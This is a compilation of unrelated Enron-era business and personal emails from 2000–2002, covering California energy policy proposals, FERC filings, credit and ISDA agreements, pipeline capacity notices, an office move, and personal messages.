need to develop as soon as possible a comprehensive solution to the problem.  
Mr. Sharer asked for some additional background on the issues and the 
solution and asked that you be contact person.  That information is attached. 
If you have any  questions, don't hesitate to contact me at 415.782.7822 or 
on my pager at 888.916.7184.

Enron Corp
101 California Street
Suite 1950
San Francisco, CA  94111
----- Forwarded by Jeff Dasovich/NA/Enron on 05/14/2001 12:11 PM -----

	05/11/2001 08:32 PM
		 
		 To: scott.mcnealy@engeng.sun.com, piper.cole@sun.com
		 cc: Kenneth Lay/Corp/Enron@ENRON, skean@enron.com, Karen 
		 Subject: Background for Enron Solution to California's Electricity 
Crisis--Follow up from Meeting on 5.10.01

Attached is additional background on the solution that Ken Lay discussed 
today and that Enron is proposing as a comprehensive solution to California's 
electricity crisis.  If you have any  questions, don't hesitate to contact me 
at 415.782.7822 or on my pager at 888.916.7184.

Jeff

Attached is the November LTD reconciliation.   Due to the quick turn around 
of this report, some items still require further research.  If you notice an 
item that needs changing, please let me know.

As you know, I will be out until after the first of the year.  Hope you all 
have a Happy Holidays!

and

From: 	Huble, Amanda  
Sent:	Tuesday, June 05, 2001 12:36 PM

I brought it up last night

Sent:	Tuesday, June 05, 2001 12:32 PM
To:	Huble, Amanda
Subject:	

west palm baby

Looks like we are getting another $5,000.00 from the asbestos settlement.  
Maybe I should just keep this to myself.  I'm so poor and I need so much.

Don, why don't I mail this other ag exemption to you and you can fill it out 
just like the first one you sent in?  What mailing address should I use?

I'm going to the doctor this afternoon for my allergies.  I hate getting old.

Attached is the proposed protest that EPMI would file next Monday 11/20 
against FPL in its request for continuation of market based rates for its 
wholesale merchant function and affiliates.  EPMI has already filed detailed 
protests (unlike the attached generic protest) against AEP, Entergy and 
Southern due to problems with each utility's OASIS system.  EPMI plans to 
file this generic protest in other large vertically integrated utility 
requests for continuation of market based rates.  The attachment now includes 
a reference to Staff's investigation that states participation in an RTO, 
without the proper safeguards, including the elimination of the native load 
exception, will not necessarily reduce the utilities' ability to discriminate 
against third parties.  Plus, there is a reference that Staff found a 
perception that the SE is the worst area for discriminatory practices.

Please let me know if you have an issue with EPMI making this filing in FPL's 
proceeding.

Also, note:  EPMI plans to file this generic protest this Thursday in the 
current RTO proposals -- SPP, Entergy transco, Florida RTO, Southern, Grid 
south.  Then on Monday 11/20, EPMI will be filing its specific protests of 
other aspects of each RTO filing.

Hi Carol

I don't know of any available nannies but will keep my ears open.  I used a 
service, Nanny Professionals, and was very pleased with the quality of 
candidates they sent over (our nanny has been w us for over 5 years).

Good luck on your search.

ps - Thanks for playing last week.  I look forward to playing again after 
Thanksgiving.

Yeah, at least every other week.  He is traveling in New York this week.  I'll let you know when he's back home. 

Sent:	Thursday, June 20, 2002 3:31 PM
To:	Choate, Heather
Subject:	Bob Hall

Do you ever talk to Bob.  What is he doing?  I want to call and hassle him at home.

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Bob "Mr. Maximiler" Jones
--------

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--------------------------------------------------------------------------
If you wish to MODIFY or ADD DEPARTURE CITIES to your Onetravel.com Air
Savings ALERT! or UNSUBSCRIBE from our mailing list, go to
http://www.onetravel.com/deals/SA_npu_modify1.cfm and enter the email address
(sscott5@enron.com) to which this message was sent.
EID=559944****4

New numbers for some people, could you please get these done asap including the new wording taking out any contingencies.

We are expecting them to start flowing in one hour.

Louise

Mike Swerzbin	1.50		
Tim Belden	1.40		
Matt Motley	1.30		
Jeff Richter	0.90		
Badeer	0.60		
Foster	0.20		
Total			

Mark,

I'm sorry I didn't get to this issue today. I will work on it tomorrow and 
will also ask Paul Landers to help gather this information.

-Garth

Hey, Russell:  Are you handling the "Cargill-Alliant, LLC" credit?  Sara
----- Forwarded by Sara Shackleton/HOU/ECT on 11/15/2000 12:18 PM -----

	Mara_Alexander@cargill.com
	11/15/2000 12:14 PM
		 
		 cc: 
		 Subject: ISDA Master Agreements between Enron North America Corp. and 
Cargill, Incorporated and Cargill-Alliant, LLC

Dear Sara,

With respect to our recent exchange of voice-mail messages,
I await to receive from you at your earliest opportunity
a draft of the Amendment to the Credit Support Annex between
Enron North America Corp. and Cargill, Incorporated.

I have also been advised by our Credit Department that we are
to begin negotiations on an ISDA Master Agreement between Enron
North America Corp. and Cargill-Alliant, LLC.  We assume the
ISDA being amended above would serve as a basis for this new
Agreement.  Could you please advise if you will also be handling
negotiation of the Cargill-Alliant, LLC ISDA?

Regards,
Mara Alexander
Sr. Documentation Analyst
Cargill, Incorporated
Tel: 952.984.3417
Fax: 952.984.3872
e-mail: Mara_Alexander@Cargill.com

Susan,

 Can you please review the attached guaranty and let me know if you approve.  
I haven't plugged in an expiration yet.

 Please let me know if you have any questions.

Thanks,
Ted
X-37952

FYI.  Chris:  Any progress with Freeman on creditworthiness issues?

Best,
Jeff
----- Forwarded by Jeff Dasovich/NA/Enron on 02/27/2001 10:56 AM -----

	02/27/2001 10:04 AM
		 
		 To: "'Bob Frank (E-mail)'" <robert.frank@enron.com>, "'Harry Kingerski 
(E-mail)'" <Harry.Kingerski@enron.com>, "'Jeff Dasovich (E-mail)'" 
<jdasovic@enron.com>, "'Sue Mara (E-mail)'" <smara@enron.com>, "'Tamara 
Johnson (E-mail)'" <tjohnso8@enron.com>, "'sstoness@enron.com'" 
<sstoness@enron.com>
		 cc: 
		 Subject: Alternate Decision on CPA Implementation

On Friday (February 23rd), Commissioner Bilas issued an alternate decision
to the February 20th draft ALJ decision on interim implementation of the
California Procurement Adjustment.    Basically what the Bilas alternate
does is give DWR certain assurances, without any money right now.  It
provides Commission recognition that the purchases made by DWR are not
subject to Commission reasonableness review and that once DWR has provided
the Commission with its needed revenue requirement that the Commission must
pass it through to ratepayers.  What it does not do is implement a CPA
mechanism.  The Bilas draft recognizes that the matter is being dressed
through the process established by ALJ Deulloa and a decision on it should
be rendered by the end of March. The Bilas draft also states that the
Commission "shall stay action on implementation of suspension of direct
access under water code section 80110 until further order."

As most of you are aware, Enron's tax department has made recommendations in the past on how trading activities should be conducted to avoid duplicate taxation from Revenue Canada and the IRS.  In a nutshell, the recommendations were:

A trader that is a resident of the United States should not trade on behalf of Canadian entities such as Enron Canada Corp. and Enron Energy Services Canada Co. Ltd.;
A trader that is a resident of Canada should not trade on behalf of US entities such as ENA or EES;
In March 2001 when Dave Pope was an EES Canada employee, the recommendation was that Dave confirm all arrangements Houston based EES traders made on behalf of EES Canada.  The intent was that the Houston based trader would make the appropriate arrangements without committing EES Canada, then Dave would confirm the deal.  As Dave is no longer with EES, I will take on that role with Rob Milnthorp as my backup.

As stipulated in all Enron contracts, a trade completed on a recorded telephone line is considered a binding agreement, therefore, I suggest that when Jesus (or his proxy) makes a trade on behalf of EES Canada, he should state in the telephone conversation that the trade will be confirmed by EES Canada personnel.  Jesus, you can email me the details and I will confirm the trade - you should still fill out all paperwork.   In the future near future, EES Canada will be self sufficient and Canadian based traders will take on Jesus' role.  

I have spoken to John McKay about western Canada and will speak with Marin Cuilla about eastern Canada to make sure we are all on the same page.  (Martin, could you reply to this email or call me at 403-974-6789 when you have a break from your trading?)   

Mike and Ryan, please give me a shout if you have issues or concerns.  Thanks.

T. Scott Campbell
Enron Energy Services Canada Co. Ltd.
3500 Canterra Tower
400 - 3rd Avenue S.W.
Calgary, AB T2P 4H2
ph 403-974-6789
fax 403-974-6991

who is better for the avs to play?  what has been going on in denver?

Ross/Jackie,

Here's my list of comments to the most recent draft.  It is subject to 
internal review, but this gives you an idea.  Could we have a telephone 
conference to knock out as many of these as possible?  

Thanks,

Kay

713 304 8716

"Brashear, Charlotte" <cbrashear@velaw.com> on 01/23/2001 11:03:41 AM
cc:  

Subject: RE: I'm here!

   Why don't I call you after I ask Michael?  I don't know what he has
in mind for entertainment.  Also, what is your cell phone number in case I
can't reach you at work?

Sent: Tuesday, January 23, 2001 11:02 AM
To: cbrashear@velaw.com
Subject: I'm here!

My trip cancelled, so I'm around.  I can pick Michael up at your place if
this is easier for you.

Kay

Sarah. Please feel free to call me on my cell at 713-302-5522 or at home at 713-218-7155 if you need to reach me urgently. Michelle

Attached is the proposed contract with Oneok.  Since it is a maximum rate 
deal, there is no discount letter.  However, I am circulating this for 
approval because it contains a special provision (found in the "Other" 
section) regarding marketing of capacity for release, as allowed by Section 
30.8 of the General Terms and Conditions of Transwestern's tariff.

Christine, you and Michele will need to fill in the address and account 
information.  My sincerest apologies for operating outside the usual 
contracting procedure but since time is even more of the essence that usual 
here, I felt it was best to get a pro forma version of this out for approval 
as soon as possible.

Please e-mail your approval to Christine and me by noon tomorrow if 
possible.  Thank you.

fyi
From: =09Fulton, Donna =20
Sent:=09Wednesday, August 29, 2001 10:37 AM
To:=09Kean, Steven J.; Shapiro, Richard; Robertson, Linda; Steffes, James D=
.; Kingerski, Harry; Nicolay, Christi L.; Novosel, Sarah
Cc:=09Alvarez, Ray; Briggs, Tom; Lawner, Leslie; Cantrell, Rebecca W.; Kauf=
man, Paul; Migden, Janine; Montovano, Steve; Ryall, Jean
Subject:=09Meeting with Dan Larcamp/ Marketing Affiliate Rulemaking

Leslie Lawner, Becky Cantrell and I met with Dan Larcamp at FERC yesterday =
to discuss the marketing affiliate issue.  He agreed with the latest press =
reports that the upcoming rulemaking NOPR, expected to be voted out in Sept=
ember, would not make major structural changes to the industry.  The curren=
t document is up to the Commission level and the Commissioners are clearly =
considering the alternatives now.  Larcamp said he expected a broadening of=
 the current market affiliate rules structure to include all corporate enti=
ties.  He did specifically mention that the Commission is not comfortable w=
ith the link between financial and physical transactions and the possibilit=
y for manipulation of market prices in one market (financial) to affect pri=
ces in the other market (physical).  He also expects the Commission to blen=
d the gas and power rules, using the best practices of each.  Any NOPR that=
 is issued will of course have comment dates to allow Enron and all industr=
y participants to comment on any proposed rule changes.

Larcamp indicated that he did not think there were pervasive afilliate disc=
rimination issues in the industry, but said that the Commission needed to a=
ct due to the political pressures they got from the Hill, etc.  The El Paso=
 case is top on everyone's mind and is of special concern because it affect=
s the California market, both gas and power.=20

Larcamp indicated that he is just now learning what a "Pat Wood" Commission=
 is going to want.  He indicated that Wood has closer ties to the producer =
community than either of the two former Chairmen.  He therefore expects  th=
at the Commission will be responsive to that sector in taking a relook at t=
he affiliate rules.  However, Larcamp did mention that the only meeting tha=
t he had previously had on the affiliate issue was with the INGAA group (Jo=
e Hartsoe went with them).  It is not clear whether the producer community =
has lobbied this issue at the Commissioner level.

We discussed strategy with Dan, how to let the Commission feel more comfort=
able with the marketing affiliate issue.  He suggested that he had gained a=
 lot by visiting the trading floors (including Enron's).  He thought the Co=
mmissioners and their immediate staffs would benefit from similar visits. =
=20

We specifically raised the issue of market prices, and talked about tranpor=
tation costs not equalling basis differentials.  We stated that our markete=
rs believed that the prices in the market were determined by market factors=
 in the specific areas of delivery rather than basin costs plus transport c=
osts.  Dan did indicate some agreement with this concept and thought that m=
ore education at the Commissioner level would be very worthwhile.

If you have any questions, call Leslie, Becky or me.

Brian,  Thanks for the camping trip this weekend.  It did help me clear my 
mind and sort some things out.  This is a tough time right now, but having 
good friends like you will help me get through this.  Thanks again.

The Artist.

TO ALL HOUSTON BASED EMPLOYEES MOVING TO ENRON CENTER SOUTH
 
Thanks to all of you for your patience and assistance during the move process.  Just a couple of things we want to remind you of/update you on.
 
Friday, October 12 is move day.  Please assure all boxes are packed by 5:00 p.m.  Movers will begin at 5:00 p.m.

Remember to get rid of as much as you can prior to moving - - space is limited.

There are boxes in the freight elevator lobby.  Feel free to take as many as you need.  There are also shred bins which are the large blue containers.  Please put only confidential papers in these bins as we will be paying for shredding by the pound.

Because movers will begin at 5:00 p.m. on Friday, the Graphics department will need to begin packing as early as possible.  No requests will be taken after 12:00 noon on Friday.

In an effort to help you with your packing on Friday and your unpacking on Monday, EIM Office of the Chairman will be supplying lunch for those wishing to stay in and pack/unpack during the lunch hour.

If you have any move related questions please contact Marsha at x-33356.

Thanks again to all of you for your cooperation and a special thanks to all the Points of Contact for a job well done on preparing churns and passing along information.
 
Jeff and Ray

Just got word that Uncle Joe Kureska passed away at 7:00 P.M. He had been
going down the last few weeks. Debbie said he had a real bad infection. He
told Dad the other day that he was really hurting bad. Don't know any of the
funeral arrangements as yet I'm sure it will be sometime this week. Well all
for now talk to you'll later. Love .........Mom 

FYI - 

In case you have not yet heard... Richardson Products has not paid their $1,661,000 TW line pack sales invoice.  They are claiming to have a Global Netting Agreement with Enron and are netting this payment with ENA and EGL issues.  We asked for a copy of this agreement even though we are certain that TW is not a party to it.

Paul Cherry, TK, Steve Kleb and I are all following up with our counterparts and are giving the collection of this money top priority.  We will keep you informed.

Rick

If I wasn't there what would you do? Yes, I received your e-mails, I can only
hope that somehow our relationship will never subside, because you mean a lot
to my life.

                                                        Charles

FYI... Terri Austin tells me that none of her testing protocol engineers had 
any additional comments on this one.

SP
---------------------- Forwarded by Stephen Plauche/Corp/Enron on 11/28/2000 
12:21 PM ---------------------------

"Leo, Tony" <tleo@fce.com> on 11/22/2000 10:15:08 AM
To: "'Stephen.Plauche@enron.com'" <Stephen.Plauche@enron.com>
cc: Michael.D.Nanny@enron.com, Terri.Austin@enron.com, "Debs, Joseph" 
<jdebs@fce.com>, "Nock, Herb" <HNock@FCE.com>, "Bentley, Chris" 
<cbentley@fce.com>, "Levine, Ross" <rlevine@fce.com> 

Subject: Test Protocol Rewrite

All
Attached is a rewrite of the acceptance test protocol, incorporating changes
made in last Thursday's conference call with Joe Debs, me, Scott, Terri,
Stephen, et al

Tony
 <<Acceptance and Performance Test - Fuel Cells - 5.doc>>

Anthony Leo
Director, Product Engineering
FuelCell Energy, Inc

This transmittal and its attached files (if any) may contain proprietary or
confidential information belonging to FuelCell Energy, Inc. If you are not
the intended recipient, you are hereby notified that you have received this
transmittal in error. Any review, disclosure, use, dissemination,
distribution or copying of this information is strictly prohibited. If you
suspect that you have received this communication in error, please notify us
immediately by telephone at 1-(203) 825-6000, or e-mail at jryan@fce.com and
immediately delete this message and all its attachments.

 - Acceptance and Performance Test - Fuel Cells - 5.doc

I don't know what happened to my previous message, but here are the details.

TD Securities is sending a team of 9 people to the data room tomorrow morning.  They should arrive between 8 and 8:30 Wednesday morning and stay through Thursday evening (They are planning on a late night on Wed).  

We are currently planning on using room 3371 for the data room, but are looking for another room that might be more accomodating for such a large group.  I will send you a list of TD's team members as soon as I get it.  Please let me know who your point person will be and the schedule for the initial meetings.

Thanks,
Mari
x33519

Sam:  I want to send this out today.  Please let me review your work.  

----- Forwarded by Sara Shackleton/HOU/ECT on 01/22/2001 08:38 AM -----

	01/20/2001 10:46 AM
		
		 cc: 
		 Subject: Re: Cargill-Alliant

My intent on the Credit Worksheet was to only require guaranties and to set 
default perimeters (3rd party debt and S&P/Moody ratings).  I believe that 
this can be taken care of outside of the CSA.  Let me know if this helps.

Ed Sacks

From: Sara Shackleton@ECT on 01/19/2001 11:04 AM
To: Edward Sacks/Corp/Enron@Enron
cc:  

Subject: Cargill-Alliant

Ed:  This counterparty does not want a CSA!!!!!!!!!  Can you please call 
Andre and discuss?  Sara

Tom has extracted the crude trades from Clayton's database.  A spreadsheet is 
available in O:\Research\Common\From_BobLee\crudewti.eol.get.  We are working 
on a cleaner version, but this should allow everyone to get a view of the 
data we have.

The attachment below has a description of the data fields in the spreadsheet.

If you have ideas on how we should analyze this, let Tom or I know.

Bob Lee
---------------------- Forwarded by Bob Lee/NA/Enron on 04/26/2001 03:24 PM 

Tom Barkley
04/26/2001 02:46 PM
To: Bob Lee/NA/Enron@Enron
cc:  

Subject: Description of Fields

Team and Host:

I have set up the following dates/times for videoconferences.
Unfortunately, 4:00-6:00 was not available, so I arranged for 4:30-6:30pm on
the following dates. I hope this does not cause anyone inconvenience, but I
took time and space that was available.

Note:  I did not schedule during Interview week, Finals week or Spring
Break.

1/25   SHDH 1203
2/1     SHDH 1203
2/15   SHDH 1203
3/1     SHDH 215
3/22   SHDH 215
3/29   SHDH 215

Any questions, please contact the FAP office.

Donna Piazze
Program Director
Field Application Project
The Wharton School
Univ. of Pennsylvania
215.573.8394   fax 215.573.5727
fap@management.wharton.upenn.edu
piazze@wharton.upenn.edu

I am missing the following deals per Prebon  for Sean Crandall

1) Enron sells to WWP 25 mw of Mid-C at $112 for 11/14-11/30
2) Enron buys from Edison 25 mw of Mid-C at $112 for 11/14-11/30

Member Services
Notice No. MS-29
May 7, 2001

NOTICE OF INTENTION TO TRANSFER MEMBERSHIPS

Notice of Intention to Transfer Memberships has been posted on the bulletin 
board of the Exchange by:

Remo Croce (REMO-289),

Steven Pasternack (NACK-6195)

And

Vassilios Vassilaras (VEV-6335)

In connection therewith, notification of any claims against the 
aforementioned individuals arising out of transactions executed on the 
Exchange up to the close of business on May 7, 2001, must be submitted to the 
Corporate Secretary's Office within ten (10) days.

TERMINATION OF TRADING PRIVILEGES

Please be advised that the Exchange has been notified by Spear, Leeds & 
Kellogg that effective immediately, May 7, 2001, they will no longer 
guarantee the membership of Timothy Murphy (TIM-455).

Therefore, in accordance with the Exchange Rule 4.12, the trading privileges 
of the aforementioned individual is hereby suspended until such time as a new 
primary clearing member guarantee is provided.

aforementioned individual arising out of transactions executed on the 

Inquiries regarding the above should be directed to the Member Services 
Department at (212) 299-2377.

email.

"http://208.206.41.61/email/email_log.cfm?useremail=sara.shackleton@enron.com&
refdoc=(MS-29)"

The ICAP Working Group of the New York State Reliability Council
("NYSRC") is posting this message to inform all interested parties of
the ability to participate, on a "listen-only" basis, in the NYSRC ICAP
WG Conference Call No. 8 scheduled for April 30, 2001, from 9:30 am till
11:30. Attached in Word format is the Agenda for this meeting.  The
NYSRC has opened its Committee, Subcommittee, and Working Group meetings
in accordance with NYSRC Policy No. 2-1, which is available of the NYSRC
web site at "www.nysrc.org", on the "Policies" web page.

Those wishing to participate on a "listen-only" basis can call
734-414-0268 and enter Participant Code 765893. Participants will be
required to place their telephones on mute so as not to prevent other
parties from participating.  Those who plan on listening to the meeting
shall send me an email at "mhogan@cenhud.com" with the names of the
individuals & organizations participating.

Attendees who are not NYSRC ICAP Working Group Members or Alternate
Members will be given an opportunity to comment at the end of each
meeting, or earlier at the Chairman's invitation.

Should you have any questions, please contact me by email at
mhogan@cenhud.com or by phone at (845) 486-5213.

Michael P. Hogan
Secretary, NYSRC ICAP Working Group

(See attached file: NYSRC ICAP WG Agenda CC8.doc)

 - NYSRC ICAP WG Agenda CC8.doc

MIchael:

I will be over for the ISDA board meeting on January 25 and 26.  With the 
launch of the credit derivatives business, I think it would be a good time to 
do a brief Securities Law/Chinese Wall seminar relating to the credit 
business.  I would propose to review the rules we have instituted in NA and 
particular issues in the European market.  My preference on timing is in the 
morning on the 26th, and second, in the afternoon on the 25th.  Please give 
your thoughts on this.  Take care.

Mark 

Tammi  DePaolis has requested a Master agreement for Carolina Power & Light 
Co. for a 7 month firm deal for summer.   Currently,  we have only a GISB in 
place with CPL.  

Please forward a credit  worksheet.

Many thanks! 

1/11/01  MANAGEMENT-COAL 2,542.
1/11/01  MANAGEMENT-CRD 28,844.
1/11/01  MANAGEMENT-GAS 1,094,625.
1/11/01  MANAGEMENT-PWR 131,193.
1/11/01  AGG-MANAGEMENT 1,202,894.

From: 	Sezgen, Osman  
Sent:	Thursday, January 10, 2002 5:42 PM
Subject:	My updated resume

Vince,

Please use this more recent resume if any opportunities come up.

Thanks,
Osman

Paul,
Have you heard anything from Gerald about the contracts?  The deal is almost
over and we still do not have any contracts executed.  Hope you can get this
thing unstruck and moving forward again.

Robert

Sara,
Maybe every other week.... or when we have a specific agenda item we want to 
cover in between (e.g. debt confirmations).
I would include Laurel who is probably impacted more than anyone.
Sheila
---------------------- Forwarded by Sheila Glover/HOU/ECT on 04/14/2000 12:28 

04/14/2000 11:54 AM
To: Sheila Glover/HOU/ECT@ECT
cc:  
Subject: Lotus Notes

I am hoping to have Lotus Notes available to you in about two weeks.  The 
initial view will include Master Swap Agreements and I am working on "Other 
Agreements" which will include brokerage and repos.  On a slightly different 
note, do you think we should schedule a regular [weekly] meeting to review 
work in progress, issues, products, etc.?  If so, who should be included?  
Thanks.  Sara 

Ok.

From: Sheila Tweed@ECT on 09/08/2000 11:01 AM
cc:  

Subject: Re: Business Setup  

Please call Barbara Dillard at 312-541-1232.  She called yesterday about some 
amendments to the Peoples Gas deal that I worked on.  It may be best for Jeff 
Hodge to handle it but would you find out what's involved and the logistics?

Marie
Could you please contact Lauren Hagerty who will be arriving in Houston this 
afternoon (on her way back from Bombay) - please call her at home. I think 
she has already prepared the appropriate documentation. If you are unable to 
contact her please call me in Bombay on my mobile 91 9820282572.  Thanks

Sandeep

Jeff:
 I have seen your note to Kate with final proposed letter attached. Thanks 
for taking on board some of our suggestions. Let me note however:
 1. A typo which we missed before in the last line of second para. - "taken" 
should read "undertaken" (you can't "take" an activity!)
 2. Disappointment from my point of view that vagueness has crept back into 
the third paragraph. (If I am to be designated a spokesman for Enron in 
Europe on this issue, even on a restricted, strictly reactive basis, I will 
need to know what some of the words and phrases are meant to indicate. The 
question of whether or not we support the creation of binding international 
commitments entered into by governments has, for instance, been avoided.) The 
Q and A will need imaginative crafting to address the lack of clarity in the 
letter itself.
 Your note implies the original English language text approved is necessarily 
the text to be used for all replies, with only local "cover letters". Such an 
approach will give local offices of Greenpeace in Europe an impression of a 
very US-centric approach. Have you considered the alternative of a local 
translation of the full letter, signed by an Enron Europe executive? (I do 
not necessarily advocate this approach, but welcome comment also from those 
copied.)

Lizy, I don't know how you see these the next morning.  Please check deals 
252056 (primary) and 252057, I just set these up in Sitara.  This is a Tetco 
contract I forgot to set up in Sitara.

Thanks.

Please send it on.

"Taylor, Rob" <robtaylor@akllp.com> on 12/08/2000 10:28:03 AM
To: "Thompson, Peter J." <peterthompson@akllp.com>, "Kay Mann (E-mail)" 
cc: "Lee. Johnson (E-mail)" <lee.johnson@ss.ps.ge.com>, "Kent. Shoemaker 
(E-mail)" <kent.shoemaker@ae.ge.com>, "Cheryl. Lipshutz (E-mail)" 
<Cheryl.Lipshutz@enron.com>, "Roseann Engeldorf (E-mail)" 
<roseann.engeldorf@enron.com>, "Brett. R. Wiggs (E-mail)" 
<Brett.R.Wiggs@enron.com>, "Ben. Jacoby (E-mail)" <Ben.Jacoby@enron.com>, 
"Pipitone, Paul" <paulpipitone@akllp.com>, "Cobb, Chris" 
<chriscobb@akllp.com> 

Subject: RE: Enron South America Break-Out Agreement

Is this ready to go to Winston & Strawn?

From: Thompson, Peter J. 
Sent: Friday, December 08, 2000 10:22 AM
To: Kay Mann (E-mail)
Cc: Lee. Johnson (E-mail); Kent. Shoemaker (E-mail); Cheryl. Lipshutz
(E-mail); Roseann Engeldorf (E-mail); Brett. R. Wiggs (E-mail); Ben.
Jacoby (E-mail); Pipitone, Paul; Taylor, Rob; Cobb, Chris
Subject: Enron South America Break-Out Agreement

    Attached please find a clean and blackline of the latest draft of
the Enron South America Break-Out Agreement.  The only changes made to
this version is the addition of today's date and the 72/25 split of
Change Order 3 in Section 6.2.  We are still missing the Agreement
Reference in section 6.7.1.  We haven't made any changes to the exhibits
since the last time they were circulated.  I will pull them out of our
Houston database and circulate them shortly.

THOLT, JANE M,
?
You have been selected to participate in the Mid Year 2001 Performance 
Management process.  Your feedback plays an important role in the process, 
and your participation is critical to the success of Enron's Performance 
Management goals.
?
To complete a request for feedback, access PEP at http://pep.enron.com and 
select Complete Feedback from the Main Menu.  You may begin providing 
feedback immediately and are requested to have all feedback forms completed 
by Friday, May 25, 2001. 
?
?
?
status of "OPEN."  Once you have submitted or declined an employee's request 
for feedback, their name will no longer appear on this list.  NOTE: YOU WILL 
RECEIVE THIS MESSAGE EACH TIME YOU ARE SELECTED AS A REVIEWER. 
?
BIKE, ANNE
EVANS, TED
SHIM, YEUN SUNG

                                  JUNE 06, 2001

Notice ID: 2780

SUBJECT: REV-CAPACITY UPDATE EFFECTIVE FOR THURSDAY, JUNE 7, 2001

                NO CHANGES FROM PREVIOUS DAY

Effective Thursday, June 7, 2001, capacities will be as follows:

Excess MDIQ              Available +
ISS Injections           Available
SIT Injections           Available
Imbalance Paybacks       Available
PAL Parks/Loan Paybacks  Available

Receipt capacity will be as follows:

Brinker (B12)            20,000
Broad Run (B9)          450,000
Dungannon (B11)          50,000
Highland (B17)           25,000
Milford (B18)            15,000

Eagle (C22)              30,000
Hooker (C9)              50,000
Pennsburg (C23)          50,000
Windridge (C12)          50,000

Independence (M1)        10,000
Ellwood City (L1)        10,000

TRANSCO:

Downingtown (E3)          5,000
Emporia I (E13)         120,000
Rockville (E2)           65,000
Dranesville (E1)         25,000

Ramapo (R1)              50,000

ANR:

Paulding/Cecil          105,000
(F1, A2)

LEBANON AGGREGATE       195,000

TOLEDO AGGREGATE        225,000

(801)

TCO-Leach             2,218,000

TRANSCO:

Martins Creek (MA 21)    25,000
Young Woman's Creek      15,000
   (MA 36)

Hanover (MA 22)         166,000

Fallen Timber (MA 35)    35,000
(MLI K1)

Waynesburg-Rhinehart     30,000
(MA 26) (MLI K2)

----- Forwarded by Jeff Dasovich/NA/Enron on 01/22/2001 06:32 PM -----

	01/22/2001 04:50 PM
		
		 To: Jeff Dasovich/NA/Enron@Enron, tyson@haas.berkeley.edu, 
pverleger@compuserve.com
		 cc: 
		 Subject: Proposal for California

Dean Tyson:
Attached is the proposal.  Your comments are welcome and appreciated.  I'd be 
happy to input any that you might have prior to forwading to Secretary 
Summers.  Phil and I will have a list of potential contacts from the business 
community to review in the next couple of hours.  If you need anything, don't 
hesitate to contact me.  Perhaps you and Phil and I could touch base later 
today or this evening to talk about next steps.  Thanks again for your 
efforts.

Best,
Jeff

415.782.7822
pager: 888.916.7184

Speaking of options....
---------------------- Forwarded by Kay Mann/Corp/Enron on 09/19/2000 03:44 

"Way, Karen S. - CHI" <karen.way@piperrudnick.com> on 09/15/2000 02:04:35 PM
To: "'kay.mann@enron.com'" <kay.mann@enron.com>, "'fred.mitro@enron.com'" 
<fred.mitro@enron.com>, "'rusty.stevens@enron.com'" <rusty.stevens@enron.com>
cc: "Shindler, Donald A. - CHI" <Donald.Shindler@piperrudnick.com> 

Subject: ledford-titan option to purchase , livingston county.DOC

 <<ledford-titan option to purchase , livingston county.DOC>>

Attached hereto, please find the draft Ledford-Titan Option to Purchase Real
Estate and Grant of Easement for your review.  Per my emails with Rusty, we
intend to messenger the execution copies to the Ledford's attorney on Monday
at mid-day.  Therefore, please send me your comments at your earliest
convenience.  Thank you.

Thank you.

 - ledford-titan option to purchase , livingston county.DOC

Ken:  currently we get outside E-mails from PIRA and Enerfax on a daily 
basis.  I do not believe we would be at a disadvantage if these were blocked 
the last week.  Thanks.

Anytime

From: Parks, Joe [mailto:Joe.Parks@ENRON.com]
Sent: Tuesday, February 05, 2002 4:36 PM
To: Drexelius, Paul
Subject: Thanks

Paul, 
	Thanks for forwarding my resume to Tom.  I met with him and
several other nice people over there this afternoon. They seem like a
great group to work with. The position sounds very interesting and like
it would be a good opportunity.  Hopefully, something will work out.
Again, I really appreciate your efforts.

Thanks,
Joe

Mark:  Please, let's talk when you have a chance.  Thanks.

----- Forwarded by Sara Shackleton/HOU/ECT on 05/21/2001 11:04 AM -----

	Cheryl Nelson@ENRON
	Sent by: Cheryl Nelson@ENRON
	05/21/2001 11:00 AM
		
		 To: Sara Shackleton/HOU/ECT@ECT, Stephanie Panus/NA/Enron@Enron, Tom 
Doukas/Enron@EnronXGate
		 cc: Keegan Farrell/NA/Enron@Enron
		 Subject: Re: Enron Corp./Enron Credit Inc. ("ECI") guaranty amendment 
(increase from USD25 Million to USD100 Million) in favor of Bear, Stearns, et 
al

Sara, 

Moreover, Keegan represented to me that you requested that she locate for you 
the Securities Loan Agreement for you while I was out and that she went into 
my office and retrieved that document from my Enron Credit Inc. file and gave 
it to you.  So, I am not sure of the source of confusion about not being able 
to find my file but for future reference, the best thing to do is to ask 
Keegan how to contact me immediately and directly - when out the office she 
always knows how to reach me.

EB3816
http://gss.enron.com/

	Cheryl Nelson
	Sent by: Cheryl Nelson
	05/21/2001 10:36 AM
		
		 cc: Stephanie Panus/NA/Enron@Enron, Tom Doukas/Enron@EnronXGate
al

Sara: 

I will forward the documents to you.  

For future reference, if anyone is looking for a file for an urgent matter 
while I am out, she should convey that fact to me by either (1) leaving a 
voice mail - as I checked my voicemails on Friday (that is how I was able to 
speak with Tom from New York on Friday) or (2) advise Keegan and she will 
contact me immediately by cell phone as she did regarding other matters on 
Friday.

EB3816

	Sara Shackleton@ECT
	05/15/2001 03:45 PM
		 
		 To: Cheryl Nelson/NA/Enron@Enron
		 cc: Tom Doukas/Enron@EnronXGate, Stephanie Panus/NA/Enron@Enron
		 Subject: Enron Corp./Enron Credit Inc. ("ECI") guaranty amendment (increase 
from USD25 Million to USD100 Million) in favor of Bear, Stearns, et al

Cheryl:

I spoke with Clem and he is preparing the amendment for immediate execution 
as the signers will be at an offsite tomorrow.  I'll let Tom know as soon as 
the amendment has been executed.  Anna Meytina is on vacation so I left a 
message with Sharon Chernick.

In order to complete our files with respect to the Enron North America Inc. 
("ENA") Securities Loan Agreement, please provide me with copies of the 
following documents:

(1)  assignment of the Securities Loan Agreement from ENA to ECI (or was a 
separate agreement with ECI executed?)

(2) termination of the prior Enron Corp. guaranty on behalf of ENA in the 
amount of  USD25 Million 

I spoke with Stephanie and she could not locate your Bear/ECI files on Friday 
of last week.  

Thanks.

Can you please help Greg get this info.  I have to think that we have this 
info somewhere.
---------------------- Forwarded by John J Lavorato/Corp/Enron on 08/17/2000 
07:32 AM ---------------------------

Greg Couch@ECT
08/16/2000 02:08 PM
cc:  

Subject: Requested information on Transport

John,

I want to update you on the additional information you requested yesterday 
(intrinsic and extrinsic $ assigned to each deal when originally booked).  

Due to changes in personnel, the time that has elapsed, and the Excel model 
used in the original valuation of the deals, obtaining the initial values has 
proven to be more of a challenge than I had initially anticipated.  I am 
working with the current book administrators for the transport model to pull 
